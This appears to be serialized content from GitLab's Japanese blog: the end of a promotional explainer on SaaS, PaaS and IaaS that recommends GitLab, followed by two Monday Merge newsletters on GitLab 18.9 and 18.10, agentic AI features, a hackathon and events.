オンプレミス型\nオンプレミス型とは、自社のサーバーにソフトウェアを組み入れ、自社独自のシステムを構築する方法です。思い通りにカスタマイズできる、情報漏洩のリスクが少ないなどのメリットがありますが、一方で構築までに時間と費用がかかる、保守が正しくできないとセキュリティリスクが高まるなどのデメリットもあります。\n### インストール型\nインストール型は、ソフトウェアを利用予定のパソコンにインストールすることで、そのパソコンでのみ機能が使えるようにする方法です。オンプレミス型に比べると低価格で利用できる、導入に時間がかからないなどのメリットがありますが、一方で機能の拡張が難しい、アップデートのし忘れによるセキュリティ脆弱性リスクが高いなどのデメリットがあります。\n### SaaS\n昨今の主流となっているSaaSは、運営会社が管理しているサービスにインターネットを介してアクセスし、オンライン上で利用する方法です。\nより最先端の機能を利用したい、セキュリティに配慮したソフトウェアを利用したい、料金を安く抑えたいなどのニーズの増加により、オンプレミス型やインストール型ではなく、SaaSを利用する企業が増えています。\n## SaaSのメリット\nSaaSには、オンプレミス型やインストール型にはない数々のメリットがあります。\n### 最新の機能を利用できる\nサービス提供会社が自社のサーバー内でソフトウェアのアップデートを行い、そのサービスをインターネットを経由して利用するため、常に最新の機能やデザインを利用できます。\n### 利用開始までの時間が短い\nSaaSはインターネット上で契約と支払いを済ませたら、即座に利用が可能です。最低利用期間が定められているSaaSが多いものの、解約手続きも比較的簡単です。\n### 導入費用を抑制できる\n多くのSaaSは初期導入費用が無料、もしくはオンプレミス型と比べて安い傾向にあります。\n初期投資で大きな資金を準備することが難しい企業にとっては、毎月支払いのSaaSの料金プランは大きな魅力といえます。\n### セキュリティ対策に強い\nSaaSはサービス提供会社がソフトウェアに対してセキュリティ対策を実施します。自社でセキュリティ対策を行う必要がないため、人件費や労力を削減できるとともに、高い安全性が確保されたソフトウェアを使い続けることが可能です。\n### 場所を選ばない\nSaaSはインターネットさえ使えれば、どこにいても、どのデバイスからでも同様のサービスやデータにアクセスできます。急な出張が入り自身のパソコンを利用できない場合でも、別のパソコンを使ってログインすることで、普段と同じデータにアクセスできます。\n昨今拡大しているリモートワークとも相性のよいモデルとして需要が高まっています。\n### 複数人での利用に強い\nSaaSは複数人による利用に優れています。元となるデータがクラウドサーバー上に保存されているため、複数人がそのデータに直接アクセスし、同時並行で作業を進められます。\n例えば、ソフトウェア開発に関するSaaSを利用すれば、複数のデベロッパーが同時に作業を行い、それぞれの作業を即座に反映させることが可能です。\n## SaaSのデメリット\n多くのメリットがあるSaaSですが、もちろんいくつかのデメリットもあります。SaaSを利用する際には、これらのデメリットについてもよく理解し、事前に対策を練るようにしてください。\n### ソフトウェアアップデートによる急な仕様の変更\nSaaSは、サービス提供会社によって常にアップデートが行われています。方向性の転換により、操作画面の機能やデザインが急に変更になったり、これまで頻繁に使っていたシステムがなくなったりすることがあります。以前のバージョンが使いやすかったと感じても、自社の判断によって戻すことはできません。\n### 継続的な出費が発生する\n初回導入時には比較的予算が抑えられるSaaSですが、月額・年額の継続費用が発生し、長期利用ではコストが高くなる場合があります。\n### ログイン情報の漏洩によるセキュリティリスク\nサービスにアクセスするためのログイン情報が漏れた場合、他者にアクセスされる可能性が生じます。二段階認証プロセスを利用することで不正なアクセスは防げるものの、ログイン情報の管理については慎重に実施する必要があります。\n### ネットワーク環境の影響を受ける\nSaaSは、インターネットが利用できない場所では利用できません。停電やネットワークエラーによってインターネットが使えない場合、SaaSにアクセスできなくなり、作業が一時中断してしまう可能性があります。\n### SaaS側の不具合やメンテナンス\nSaaSが何らかの不具合に直面した場合、もしくは大規模なシステムアップデートのため長期に及ぶメンテナンスが必要になった場合には、サービスが一時的に利用できなくなる可能性があります。\n利用予定のSaaSが頻繁なメンテナンスを実施していないか、メンテナンスの場合には代替機能が利用できるかどうかを事前にチェックするとよいでしょう。\n## SaaSとPasS・IaaSの違いとは？サービス内容も紹介\nSaaSとよく比較される用語に「PaaS」と「IaaS」があります。自社に最適な機能を選ぶうえで、これらの違いを理解することは非常に重要です。\n### PaaSとは\nPaaSは「Platform as a Service」の略称で、「パース」と読みます。名称からもわかる通り、PaaSは主にクラウド上で利用できるプラットフォームを指します。PaaSの提供範囲は主にプラットフォームのため、ソフトウェアやアプリは含みません。\n例えばPaaSは、システムやアプリケーションを開発するためのプラットフォームをクラウド上で提供します。複数のデベロッパーが同時にアクセスし、協力体制のもとでアプリケーション開発などを進める場合に役立ちます。\n### IaaSとは\nIaaSは「Infrastructure as a Service」の略称で、「イーアス」や「アイアース」と読みます。IaaSがクラウド上で提供するのはサーバーやネットワークなどのインフラ基盤のみです。ソフトウェアやプラットフォームなど、事前に構築されたシステムや枠組みがないため、より自由な開発環境を整えたい企業に向いています。ただし、開発環境の構築も含めて自社で実施するだけの人材力やスキルが必要とされます。\n### SaaS・PaaS・IaaSの比較\nSaaSとPaaS、IaaSの各サービス内容をまとめると、以下のようになります。\n表1　SaaS・PaaS・IaaSが網羅するサービスの比較\n| サービス            | SaaS | PaaS | IaaS |\n| --------------- | ---- | ---- | ---- |\n| ソフトウェア・アプリケーション | ◎    |      |      |\n| ミドルウェア          | 〇    | ◎    |      |\n| OS              | 〇    | ◎    |      |\n| ネットワーク          | 〇    | 〇    | ◎    |\n| ストレージ           | 〇    | 〇    | ◎    |\n| サーバー            | 〇    | 〇    | ◎    |\n\n\nSaaSはすべてを網羅しているとはいえ、ミドルウェアやOSの使い勝手や機能に関してはPaaSがより優れています。IaaSは質の高いインフラ基盤を比較的安価に導入できる方法として、SaaSやPaaSとは差別化できます。\nそれぞれの特徴をよく理解した上で、自社に最適なサービスを導入することが重要です。\n## SaaSを選ぶ際のポイント\n自社の現状や課題に合ったSaaSを利用することで、業務効率化やコスト削減を実現することができます。一方で、自社に合わないSaaSを選んでしまうと、不慣れな作業によって時間がかかったり、せっかく購入したにも関わらず活用されなかったりする場合があります。\nそのため、SaaSを導入する際には以下のポイントをよく確認するようにしてください。\n### 機能性\nSaaSの機能は事務系やコミュニケーション系、ソフトウェア開発系など多岐にわたります。自社で解決したい課題をリストアップするとともに、どの機能を備えたSaaSが最適かをよく検討するようにしてください。\nまた、用途だけでなく、機能や操作画面の使い勝手も確認するとよいでしょう。例えば、日本語に最適化されていないSaaSでは、言語の違いによりスムーズに利用できない可能性があります。\nミスマッチを防ぐためにも、まずは無料トライアルを提供しているSaaSを選び、試してみることをおすすめします。\n### コストや料金体系\nSaaSは初期費用が比較的安く設定されているのが特徴です。ただし、毎月もしくは毎年費用が発生するため、長期的にみると大きな費用負担になる場合があります。多くのSaaSは1ユーザーごとの料金設定のため、大勢で利用した場合にはコストが大きくなります。\nまた、SaaSは最低利用期間や解約までに必要な月数などが設定されている場合がほとんどです。解約しやすいのがSaaSの特徴の1つですが、場合によっては解約時にも費用が発生する点にも注意が必要です。\n### セキュリティ\nSaaSでは、システム利用やデータの保管はすべてサービス提供会社のサーバー内で行われるため、自社でセキュリティ対策を実施する必要はありません。ただし、提供会社側でセキュリティ問題が発生した場合には、重要なデータが消去もしくは漏洩する可能性があります。\nSaaSを利用する際には、セキュリティ対策の充実度をしっかりと確認するようにしてください。\n### サポート体制\nSaaSは様々な機能が随時追加されるため、機能やデザインなどに関して、サポートの助けが必要になることが多々あります。特に緊急性のある案件に関係するSaaSにおいては、電話対応や24時間のチャットサポートに対応しているかは重要です。また、海外発のSaaSを利用する際には、日本語サポートにも対応しているかを確認するようにしてください。\n## 代表的なSaaSと主な機能\n企業が導入を検討すべきおすすめのSaaSを紹介します。\n### オフィス業務に強い「Google WorkSpace」\n「[Google Workspace](https://www.g-workspace.jp/googleworkspace/)」は、Google社が提供する有料オンラインアプリケーションセットです。GoogleドキュメントやGoogleスプレッドシート、Googleドライブ、Gmailなど、オフィス作業や業務効率化に役立つ数々のツールが利用できます。データはすべてGoogleのサーバー内に保管され、Googleが常に最新のセキュリティ対策を行っているため、安心して利用できます。\n利用には一定の[費用](https://www.g-workspace.jp/price/)が掛かりますが、様々な便利機能を安心して利用したい企業におすすめです。\n### 気軽なチャット機能が人気「ChatWork」\n多くの企業が導入しているチャット型のコミュニケーションツールが「[ChatWork](https://go.chatwork.com/ja/)」です。メールでのやりとりでは、文章を作成したり回答を得たりするのに時間がかかりますが、ChatWorkのチャットであれば時間を大幅に削減できます。\nチャットデータはすべてChatWorkが管理するサーバー内に保管されているため、パソコンやスマホ、タブレットなど、デバイスを選ばずに利用できます。日本企業が開発したSaaSのため、日本人が使いやすいように設計・最適化されているのも大きな魅力といえます。\nフリープランは無料で利用できますが、ビジネス用途であれば高いセキュリティ性能を備えた[エンタープライズプラン](https://go.chatwork.com/ja/price/?click=header-navi)がおすすめです。現在社内でのやりとりでメールを利用している、社員間のコミュニケーションを促進するツールを探している企業に最適です。\n### オンラインミーティングの大改革を果たした「Zoom」\nミーティングや営業のあり方を大きく変えたことで知られるのが「[Zoom](https://www.zoom.com/ja)」です。インターネットを利用したオンラインミーティングが実施でき、異なる場所や出張時・在宅ワークなどでのミーティング参加が可能となりました。\nまた、Zoomは営業向けにも様々な便利機能を追加しており、録画機能や自動文字起こし、資料の共有、スケジュール管理など、1つのツールで多様な課題を解決できます。\n無料のベーシックプランでもオンラインミーティング機能は利用できますが、長時間のミーティングを開催したい、より便利な機能を利用したいという方は、有料の[ビジネスプラン](https://www.zoom.us/ja/pricing?optimizely_user_id=e1913a438ebff25397b6ac8df20b7ac4&amp_device_id=a3148cc2-3076-420f-9c2e-569a037fc688&_ics=1731285869840&irclickid=%7Ebhadihjcf8134WZOMNV1RIJGKHABFxwrmukopfgb3VKHFAypg-8Z&_gl=1*sl16es*_gcl_au*MzE1NDA4NTUwLjE3MzEyODU4Njk.*_ga*NTAzNTU1OTQ1LjE3MzEyODU4NzA.*_ga_L8TBF28DDX*MTczMTI4NTg3MC4xLjAuMTczMTI4NTg3MC4wLjAuMA..&_ga=2.208402578.1219391157.1731285871-503555945.1731285870)がおすすめです。\n### アプリケーション開発に最適な「GitLab」\nアプリケーション・ソフトウェア開発におすすめのSaaSが、弊社が提供する「[GitLab](https://about.gitlab.com/ja-jp/)」です。AI搭載のDevSecOpsプラットフォームで、開発効率化やセキュリティに優れています。\n複数のデベロッパーが同時並行で作業できる[マルチテナント環境](https://about.gitlab.com/ja-jp/why-gitlab/)を提供するとともに、AIを含めた様々な便利アプリにより開発を効率化できます。\nビジネス目的であれば、より多くの機能が利用でき、かつセキュリティも充実している「Premium」や「Ultimate」などの有料プランがおすすめです。60日間の[無料トライアル](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/why-gitlab/&glm_content=default-saas-trial)もあるため、まずはお気軽にお問い合わせください。\nまた、より迅速に開発を進めたい方向けに、シングルテナント型SaaSで提供される「[GitLab Dedicated](https://about.gitlab.com/dedicated/)」サービスもあります。GitLabチームがプラットフォーム管理やデプロイを担当するため、必要な作業が大幅に削減され、重要なタスクに注力可能です。\n## GitLabはソフトウェア開発にどのように貢献するのか？\nGitLabは、クラウド上で機能するソフトウェアアプリケーション開発プラットフォームです。企業は開発、保護、そしてデプロイの複雑化に効果的に対応でき、結果としてサイクルタイムを1/7に短縮できる可能性があります。\nデベロッパーの生産性が向上するとともに、メンテナンスに必要な時間を削減できるため、多くの時間をより重要な作業に費やすことが可能です。スピーディで効率的な開発を行うことで、他社と差別化できます。\n従来からDevSecOpsプラットフォームの開発に専念してきたGitLabでは、特にセキュリティ分野において優位性を持ちます。GitLabのセキュリティ対策チームが常に最新のセキュリティ対策を研究し、ツールに導入しているため、弊社SaaSを利用する際には、すでに最新の対策が施されている状態です。これにより、開発したソフトウェアの安全を確保します。\n## SaaSやGitLabに関するFAQ\nSaaSやGitLabに関するFAQについて以下にまとめてあります。ぜひ参考にしてください。\n### GitLabではどのようなSaaS開発環境やオプションが可能か？\nGitLabでは、GitLabプラットフォームが自由に使える[マルチテナントSaaS](https://about.gitlab.com/ja-jp/why-gitlab/)と、デプロイや管理をGitLab側で担当するシングルテナントSaaSの[GitLab Dedicated](https://about.gitlab.com/dedicated/)のどちらかをお選びいただけます。また、GitLabではオンプレミスにも対応しています。\n\n\nSaaSによるソフトウェア開発が初めてで管理や操作に不安が残る方には、GitLab Dedicatedをおすすめします。ぜひご検討ください。\n### 開発分野のSaaSに限定した場合、オンプレミスと比べてどのようなメリットがあるか？\nオンプレミス型の開発環境の場合、セキュリティやガバナンス対策を自社ですべて実施する必要があります。人材を保守や運用、調査などに回す必要があるため、大きな人的コストがかかるのと同時に、開発速度も遅くなります。\n\n\nSaaSによる開発環境では、セキュリティやガバナンスをGitLabが調査、適用するため、保守運用にかかる時間を大幅に削減できます。昨今は必要なセキュリティ対策やガバナンス対策が頻繁に変化する時代です。SaaSによる開発環境を利用することで、それらの心配をする必要がなくなり、重要な作業に集中できます。\n### その他のSaaS開発環境と比較した際のGitLabの強みとは\nGitLabは、ソフトウェア開発のライフサイクル全体に対応する**DevSecOpsプラットフォーム**です。Fortune100企業の50％強が利用し、登録ユーザー数は2024年時点で約3,000万人を超えています。\n\n\nGitLabは迅速かつ効率的なソフトウェアデリバリーを実現する包括的なプラットフォームとして常に進化を遂げてきました。また、早くからセキュリティやコンプライアンスを重要な軸として位置づけ、プラットフォーム内に機能を組み入れてきた歴史があります。\n\n\n昨今はセキュリティに配慮しつつ、ガバナンスやコンプライアンスを順守しながらソフトウェア開発を進めていく必要があります。しかしながら、優秀なデベロッパーが保守運用に時間をとられ、何よりも重要な開発作業に時間を割けない問題が多くの企業で発生しています。GitLabプラットフォームを利用することで、デベロッパーがセキュリティ対策やエラー修正にかける時間を大幅に削減できます。 [GitLab](https://about.gitlab.com/ja-jp/)は、設立当初から、リモートワーク、オープンソース、DevSecOps、イテレーションへの確固たる信念を持ち続けてきました。GitLabは新しいイノベーションを模索し続けます。より優れた開発プラットフォームを模索している企業様に、GitLabは最先端・最高品質のサービスを提供いたします。","2026-03-03",{"featured":641,"template":796,"slug":1026},"what-is-saas",{"category":721,"slug":719,"posts":1028},[1029,1040,1051],{"content":1030,"config":1038},{"category":719,"body":1031,"date":1032,"updatedDate":1033,"heroImage":1034,"authors":1035,"title":1036,"description":1037},"こんにちは、Fatimaです。4月のMonday Mergeへようこそ。\n\n今月は内容が盛りだくさんです。GitLab 18.10、エージェント型AIへのアクセス拡大、Claude Marketplaceでの大きな前進、グローバルなハッカソン、そしてお客様による実際の素晴らしい成果についてお話しします。\n\n取り上げる内容がたくさんあるので、さっそく見ていきましょう👇👇👇👇👇👇👇\n\n![GitLab 18.10](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782465/iqzcxratajkcnnnzdzky.png)\n\nAIによってコードを書くスピードはこれまでになく速くなりました。しかし、多くのチームが実感しているように、もはや本当のボトルネックはそこではありません。\n\n問題は、その後のプロセスです。\n\nGitLab 18.10は、エージェント型AIをソフトウェアライフサイクルのより深い部分に組み込み、あらゆる規模のチームがより簡単に、より手頃に、そしてより実用的に導入できるように設計されています。\n\n私が特に注目しているポイントをいくつかご紹介します：\n\n* **無料プランにもエージェント型AIを提供**：GitLab.comの無料プランを利用しているチームでも、GitLabクレジットの月額コミットを購入することで、ユーザー単位の課金なしにGitLab Duo Agent Platformを利用できるようになりました  \n* **Agentic Code Reviewのコストを固定化**：コードレビュー1件あたり25セント（現在はGitLabクレジット1つで4件）となり、コストの予測性を保ちながら、すべてのプロジェクトやマージリクエストにスケール可能になりました  \n* **SASTの誤検出判定機能が一般提供開始**：GitLab Duo Agent Platformを利用するGitLab Ultimateユーザー向けに提供され、セキュリティおよび開発チームが重要な脆弱性とその対応をより適切に優先付けできるようになります  \n* **60以上の改善**：プランニングからセキュリティ、CI/CDまで、このリリースはコミット間でチームのボトルネックを解消することに焦点を当てています\n\nここでの大きな変化は明確です。コードを書くスピードを上げるAIから、その後に必要となるすべてのソフトウェアエンジニアリング業務を支援するAIへと移行しているのです。\n\n**🔗 [リリースノートの詳細はこちら。](https://www.linkedin.com/redir/redirect?url=https%3A%2F%2Fabout%2Egitlab%2Ecom%2Freleases%2F2026%2F03%2F19%2Fgitlab-18-10-released%2F&urlhash=0Act&trk=article-ssr-frontend-pulse_little-text-block)**\n\n\n\n## GitLab Duo Agent PlatformがClaude Marketplaceで利用可能に\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782462/nnub3neiya1njshibrz2.png)\n\n\n\n組織は、既存のAnthropicとの契約を活用してGitLabを購入し、エンタープライズレベルのセキュリティ、品質、ガバナンスを維持しながら、ソフトウェアライフサイクル全体でエージェント型AIを統合・活用できるようになりました。\n\n![Flowlands](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782462/zmcxtubkzub1uobe4crl.png)\n\n**（はい…Flowlandsは実在します。まあ、概念として。）**\n\n最近、GitLabのテーマパークについて何か見かけたなら、それは見間違いではありません。\n\nFlowlandsは、エイプリルフールの企画でした。ソフトウェア開発が“物理的な体験”になるという、少し突飛で完全に想像上の世界です。\n\nでも正直なところ、みんな行ってみたいですよね。\n\n🎢🎡🎪🎠 見逃した方は、ぜひテーマパークのカルーセルをご覧ください！（ダジャレです😄）\n\n## **GitLab Hackathon: 2026年4月16日〜23日**\n\n![GitLab Hackathon](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782464/jk3o4ynp6lj3spttkmzg.png)\n\n現実に戻りましょう。\n\nグローバルGitLabハッカソンは2026年4月16日から23日まで開催され、プラットフォームやコミュニティに実際に触れながら参加できる最高の機会のひとつです。\n\n* 実際のGitLabプロジェクトに貢献  \n* グローバルなオープンソースコミュニティと協働  \n* コード、ドキュメント、UXなど幅広い分野で開発  \n* 賞品を獲得し、GitLabプロフィールを強化\n\n初心者でも経験者でも、参加して実際に手を動かし始める絶好のチャンスです。\n\n🔗 [こちらから参加できます。どなたでも歓迎です！](https://www.linkedin.com/redir/redirect?url=https%3A%2F%2Fcontributors%2Egitlab%2Ecom%2Fhackathon&urlhash=4KIo&trk=article-ssr-frontend-pulse_little-text-block)\n\n## **カスタマースポットライト：Canada Life**\n\n![Canada Life](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782462/qtg3vpbyxo0pvdepesbv.png)\n\n今月特に印象的だったのは、チームが本格的にAIを活用したときに何が起こるかを目の当たりにしたことです。\n\n私たちはCanada Lifeと提携し、2日間のAIハッカソンを実施しました。開発、セキュリティ、コンプライアンス、ビジネス部門から100名以上が参加し、実際にエンタープライズレベルのソリューションを構築しました。\n\nその結果は驚くべきものでした：\n\n* わずか48時間で10件のエンタープライズ向けAIソリューションを構築  \n* コードレビュー時間を40％削減  \n* リリースノート作成時間を90％削減  \n* コンプライアンス違反を80％削減\n\nさらに、コストを96.7％削減したレガシーコードのモダナイゼーション支援ツールや、オンボーディング時間を半分に短縮した開発者向けオンボーディングアシスタントなども開発されました。\n\n彼らの言葉を借りると：\n\n*「もし48時間でこれだけのことができるなら、*\n\n*この先に何が待っているのか想像してみてください。」*\n\n## **今後のイベント**\n\n![GitLab Events](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782462/stbub39txwqdkbaczo3d.png)\n\n今月はオンライン・オフラインともに多数のイベントを予定しており、ぜひご参加いただければ嬉しいです。\n\n注目のイベントをいくつかご紹介します：\n\n![イベントいちらん](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782465/ggioajzrs6lkyavbqta4.png)\n\n🔗 [Wherever you are in the world, there’s something happening so check out our events page here!](https://www.linkedin.com/redir/redirect?url=https%3A%2F%2Fabout%2Egitlab%2Ecom%2Fevents%2F&urlhash=dRaL&trk=article-ssr-frontend-pulse_little-text-block)\n\n## **今月のおすすめ**\n\n![今月のおすすめ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782461/s8g358gll3ai4wfmrw8v.png)\n\n今月も興味深い記事をいくつか紹介します。\n\n政府機関のチームがAIを活用したDevOpsによってどのようにモダナイゼーションを進めているのか、技術的負債の削減からライフサイクルの早い段階でのセキュリティ組み込みまでを探っています。\n\nまた、企業全体でのAI導入がどのように進化しているのかにも注目しています。特に、単なるコード生成を超えてワークフローを統合する方法や、SDLC全体にわたる複雑性の管理について考察しています。\n\n![記事一覧](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782466/zgarpxfpp5hxyxgssjbh.png)\n\n🔖 少し時間があるときにじっくり読めるよう、ぜひブックマークしておいてください！\n\n![画像出典：Chemical Heritage Foundation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782465/cjsggxtiohfdgqqijrwm.png)\n\n画像出典：Chemical Heritage Foundation\n\n本当に、この4月はたくさんのことが起きています。エージェント型AIによって、より多くの実験や探求の余地が生まれていて、こんな言葉を思い出しました。\n\n「新しいアイデアに心を開き、いろいろ試してみることでさまざまなことが起こり得る。」\n\nケブラーの発明者であるステファニー・クオレクの言葉です。まさに今の状況にぴったりだと感じます。\n\nAIが反復的な作業の多くを担うようになることで、開発者はより自由に実験し、探求し、次のものを創り出す余地を手にしています。\n\nお読みいただきありがとうございました。ウェブキャストやIssueでお会いできるのを楽しみにしています。そして、これからも対話を続けていきましょう。それでは、いつものようにHappy Merging!\n\n![Fatima](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770180580/nz0ipehzgtcb757kl0ux.png)\n\n[Fatima Sarah Khalid](https://www.linkedin.com/in/sugaroverflow/?lipi=urn%3Ali%3Apage%3Ad_flagship3_pulse_read%3B3ix%2FZ9%2BgTBmIWuSHZsMZRw%3D%3D)｜Senior Developer Advocate, GitLab\n\nこのニュースレターが気に入ったら、ぜひチームに共有してください。\n そして👉[YouTubeチャンネル](https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg)の登録もお忘れなく！","2026-04-13","2026-04-10","https://res.cloudinary.com/about-gitlab-com/image/upload/v1775705768/iiihistfzncofktu7hx9.webp",[912],"Monday Merge 4月号：GitLab 18.10、エージェント型AIの勢い、そして大きなコミュニティの節目","4月号のMonday Mergeでは、GitLab 18.10、エージェント型AIへのアクセス拡大、Claude Marketplaceでの大きな前進、グローバルなハッカソンについてご紹介。",{"featured":641,"template":796,"slug":1039},"monday-merge-2026-april-13",{"content":1041,"config":1049},{"date":1042,"authors":1043,"tags":1044,"category":719,"heroImage":1046,"title":1047,"body":1048,"updatedDate":5},"2026-03-09",[912],[806,88,242,695,252,793,719,1045,757],"releases","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772623336/nnvczybh4adgqen81p9h.png","Monday Merge 3月号：コード高速化のその先：インテリジェント・オーケストレーションの台頭","**AIは、コードを書く方法を根本的に変えました。しかし、ソフトウェアの「提供方法」そのものを自動的に変えたわけではありません。**\n\n**コード生成が高速化する一方で、レビュー、テスト、セキュリティスキャン、デプロイといった下流工程に新たなボトルネックが生まれています。**\n\nこれが、私たちが「AIパラドックス」と呼ぶ現象です。\n\n今月のMonday Mergeでは、計画、開発、セキュリティ、デプロイにわたるSDLC全体でのインテリジェント・オーケストレーションがこの課題にどのように対応し、エンタープライズDevSecOpsをどのように再構築しているのかを探ります。\n\n## GitLab 18.9：エージェント型AIがプラットフォームのさらに深部へ\n\n![GitLab 18.9：エージェント型AIがプラットフォームのさらに深部へ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772623381/sobem8usbdsht8jl1unz.png)\n\n2月の締めくくりに、25以上の改善とエージェント型AI機能の大幅な進化を含むGitLab 18.9をリリースしました。\n\n### **セルフマネージド環境向け GitLab Duo Agent Platform**\n\nGitLab Duo Agent Platformは、オンラインライセンスを持つセルフマネージドのお客様向けに提供開始となりました。自社インフラ内でエージェント型AI機能を必要とするエンタープライズチームにとって、これは大きな前進です。\n\n### **エージェント型SAST脆弱性解決（ベータ）**\n\nSAST脆弱性のトリアージと修正は、アプリケーションセキュリティにおいて最も時間のかかる作業のひとつであることが多いです。GitLab 18.9では、GitLab Duoが次のことを実行できるようになりました。\n\n* 脆弱性を分析する\n* 周辺コードの文脈を推論する\n* コンテキストを考慮した修正を生成する\n* マージリクエストを自動作成する\n* レビュアーの信頼度を示す品質スコアを提供する\n\n単一の提案を出すのではなく、GitLab Duoはコードベース全体を推論し、十分に検討された修正提案を生成します。\n\n### **GitLab 18.9のその他の改善点**\n\n新しい折りたたみ可能なファイルツリーによりリポジトリをナビゲートでき、ページ読み込み回数を減らしながら、より効率的にプロジェクト構造を閲覧できます。\nGitLab.comではWebベースのコミット署名が利用可能になり、Web上のコミットがGitLabの署名キーで自動的に署名されます。\n\nそして、本リリースに530件以上の貢献をしてくださったGitLabコミュニティの皆さまに心より感謝します。GitLabでは誰もが貢献できることを18.9は証明しています。\n\n![Transcend](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772623383/xhcvcceyvjtww9emfbsj.png)\n\n先日開催されたGitLab Transcendのバーチャルイベントでは、AIエージェントが計画、開発、テスト、セキュリティ、デプロイにわたって単一のプラットフォーム上でどのように連携し、エンタープライズのガードレールやガバナンス要件に沿って動作するのかをご紹介しました。\n\nSouthwest Airlines社からは、GitLab Duo Agent Platformがどのようにチームのミッションクリティカルなソフトウェアをより迅速に提供しながら、24時間365日の航空運航に必要なレジリエンスを維持しているかについてお話しいただきました。また、SDLC全体でエージェントが協働するライブデモも実施し、特定の工程だけでなく、デリバリーライフサイクル全体をどのようにモダナイズできるかを探りました。\n\nイベントを見逃した方は、こちらからフル録画をご覧いただけます👇\n\n[GitLab Transcendを視聴する](https://about.gitlab.com/ja-jp/events/transcend/virtual/)\n\n## [](https://about.gitlab.com/events/transcend/virtual/)技術デモ\n\n![技術デモ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772623380/tch0unrnnwz2yjz7ba7y.png)\n\n[](https://page.gitlab.com/webcasts-mar4-security-workflows-emea-amer.html)\n\n### 📅 3月19日 –  開発現場でのGitLab Duo Agent Platform\n\n本セッションでは、\n\n* Duo Agent Platformを活用して、計画、Issueからのマージリクエスト（MR）作成、エージェント型コードレビューなど、複数ステップのワークフローを自動化する方法\n* GitLabの基盤エージェント（PlannerやSecurity Analystなど）を活用してSDLCを効率化する方法\n* GitLabの統合データモデルによる、コンテキストに応じたコード生成でコーディングを高速化する方法\n* AI駆動のセキュリティワークフローで脆弱性を自動検出・修復する方法\n* AIを活用した根本原因分析とガイド付きの修正により、パイプラインエラーを迅速に解決する方法\n\nをご紹介します。\n\n👉 こちらからご登録ください。\n\n[開発現場でのGitLab Duo Agent Platform](https://page.gitlab.com/webcasts-mar19-gitlab-duo-agent-platform-jp.html?utm_medium=social&utm_source=twitter&utm_campaign=eg_apac_cmp_webcast_ai_ja_20260319_apac_jp_cmp_techdemo_aisdlc_introtoduo)\n\n[](https://page.gitlab.com/webcasts-mar12-gitlab-duo-agent-platform-emea-de.html)\n\n## **今月のおすすめ**\n\n![今月のおすすめ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772623380/ejkfu5adv7bjwzwyevpd.png)\n\n今月は、インテリジェント・オーケストレーションの背景にあるより広い視点について、さらに深く掘り下げています。\n\nCEOのBill Staplesは、AI時代におけるソフトウェアデリバリーについて語っています。\n\nまた、Chief Product and Marketing OfficerのManav Khuranaは、AIが単なる高速なコード生成を超え、品質、セキュリティ、そしてライフサイクル全体の最適化へと拡張されることで、真にイノベーションサイクルの加速が実現することを探っています。\n\nさらに、セキュリティリーダーシップの観点からは、ソフトウェアライフサイクル全体におけるAI主導の変化に対応するため、エンタープライズがどのように組織構造モデルを進化させる必要があるのかという議論が続いています。\n\nポイントソリューションを超え、システム全体の変革を見据えている方にとって、これらの視点は一読の価値があります。\n\n[Intelligent Orchestration: Software Delivery for the AI Era, with CEO of GitLab](https://www.cxotalk.com/episode/intelligent-orchestration-software-delivery-for-the-ai-era-with-ceo-of-gitlab)\n\n[GitLab CEO on why AI isn’t helping enterprises ship code faster](https://thenewstack.io/gitlab-ceo-on-why-ai-isnt-helping-enterprise-ship-code-faster/)[](https://www.cxotalk.com/episode/intelligent-orchestration-software-delivery-for-the-ai-era-with-ceo-of-gitlab)[](https://www.cxotalk.com/episode/intelligent-orchestration-software-delivery-for-the-ai-era-with-ceo-of-gitlab)\n\n[From faster coding to accelerated innovation cycles: How intelligent orchestration unlocks AI's promise](https://www.runtime.news/from-faster-coding-to-accelerated-innovation-cycles-how-intelligent-orchestration-unlocks-ais-promise/)\n\n[The one structural shift CISOs must make before AI outpaces their security strategy](https://thenewstack.io/federate-security-gitlab/)[](https://www.runtime.news/from-faster-coding-to-accelerated-innovation-cycles-how-intelligent-orchestration-unlocks-ais-promise/)\n\n最後に、インテリジェント・オーケストレーションの本質を表す言葉をご紹介します。\n\n> 「全体は部分の総和に勝る。」― アリストテレス\n\nインテリジェント・オーケストレーションは、まさにこの考えを体現しています。\n\nAIが孤立した場面で活用されるだけでは、その効果は限定的です。しかし、統一されたコンテキストとエンタープライズのガードレールのもとで、エージェントがソフトウェアライフサイクル全体にわたり協調すれば、その成果は実際に測定可能なソフトウェア開発速度として現れます。\n\nお読みいただきありがとうございました。ウェブキャストやIssueでお会いできるのを楽しみにしています。そして、これからも対話を続けていきましょう。それでは、いつものようにHappy Merging!\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770180580/nz0ipehzgtcb757kl0ux.png)\n\n[Fatima Sarah Khalid](https://www.linkedin.com/in/sugaroverflow/?lipi=urn%3Ali%3Apage%3Ad_flagship3_pulse_read%3B3ix%2FZ9%2BgTBmIWuSHZsMZRw%3D%3D)｜Senior Developer Advocate, GitLab\n\nこのニュースレターが気に入ったら、ぜひチームに共有してください。\n 